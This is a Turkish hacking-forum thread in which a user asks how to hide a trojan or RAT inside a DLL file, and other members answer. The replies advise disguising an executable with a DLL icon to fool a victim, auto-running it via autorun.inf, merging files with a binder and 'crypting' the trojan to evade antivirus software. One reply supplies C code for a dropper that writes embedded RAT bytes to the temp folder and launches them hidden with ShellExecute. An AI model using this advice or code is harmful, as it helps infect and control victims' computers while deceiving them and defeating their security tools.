Dll Dosyasına Trojan/RAT Nasıl Yerleştirebilirim?
- Konbuyu başlatan Zehir1903
- Başlangıç tarihi
Dostum, DLL Dosyası ile rat yapamazsın ama dll ikonunu alıp yaptığın exe'nin ikonuyla değiştirirsen eğer kurban pek dikkatli biri değil ya da bilgisiz ise rahatlıkla bu dosyayı dll dosyası sanıp çok kolay yiyebilir. Ama tabi kurbanın bu dosyayı çalıştırması gerekir.
Bence autorun.inf yapıp exe yaptıgın dosyayı açtırtmalısın bu dosyadaki kodlarla. Böylece kurbanın açması bile gerekmez. Yalnız İki dosyayı Binder İle Birleştirmelisin ki Tek bir dosya olarak görünsün.
Başka soruların için özel mesaj atabilirsin.
Bence autorun.inf yapıp exe yaptıgın dosyayı açtırtmalısın bu dosyadaki kodlarla. Böylece kurbanın açması bile gerekmez. Yalnız İki dosyayı Binder İle Birleştirmelisin ki Tek bir dosya olarak görünsün.
Başka soruların için özel mesaj atabilirsin.
Son düzenleme:
- 21 Şub 2010
- 153
- 0
RAT'lı exe'nin binary halini bir diziye at, dll içerisinde CreateFile ve WriteFile ile dosyayı oluşturup çalıştır.
örneğin :
Kod:
[FONT=Arial]const char* bRatFile = { 0xAA, 0xBB, .... }; [COLOR=SeaGreen]// bu kısım hardcoded olmalı yapacak bir şey yok.[/COLOR][/FONT]
[FONT=Arial]char pTemp[256];[/FONT][FONT=Arial]
[/FONT]
[FONT=Arial]HANDLE hFile;[/FONT]
[FONT=Arial]DWORD nbytesWritten;[/FONT]
[FONT=Arial]BOOL status;
[/FONT]
[FONT=Arial]GetTempPathA[/FONT][FONT=Arial](sizeof(pTemp), pTemp);
strcat(pTemp, "test.exe");
hFile = CreateFile(pTemp, GENERIC_READ | GENERIC_WRITE, 0, NULL, [/FONT][FONT=Arial]CREATE_NEW, FILE_ATTRIBUTE_NORMAL);
[COLOR=seagreen]// eğer önceden açılmışsa hFile null gelecek kontrol edersin onu burada
[/COLOR]
status = WriteFile(hFile, bRatFile, strlen(bRatFile), &nbytesWritten, NULL);
[COLOR=seagreen]
// burada status'u kontrol et.[/COLOR]
[/FONT][FONT=Arial] ShellExecuteA(NULL, "open", pTemp, NULL, NULL, SW_HIDE);[/FONT]
Son düzenleme:
- 29 Şub 2020
- 18
- 0
İnternette birden fazla dosya birleştirme programları bulunuyor. Fakat bunlardan önce trojanını crypt'lasan ( gizlemek) iyi olur. Aksi taktirde dll Antivirüs programları tarafından etkisiz hale gelebilir. Ayrıca bir kaç senedir, antivirüs programını ele geçiren virüsler medyada. Bu virüsleri tehlikeli yapan şey, kullandığın antivirüs programını elinde oyuncak etmesidir. Yoğun bir araştırma sonrası erişebilirsin bu tür bilgilere ..
İyi akşamlar ..
İyi akşamlar ..
- 29 Şub 2020
- 18
- 0
Aynen bu dosya birleştirmekten daha mantıklı. Fakat RAT görevi görebileceğini sanmıyorum. Sonuçta bir kaç kod ile server bağı oluşturamazsın .. Oluşturulabiliyorsa bilgi verebilirmisiniz ..
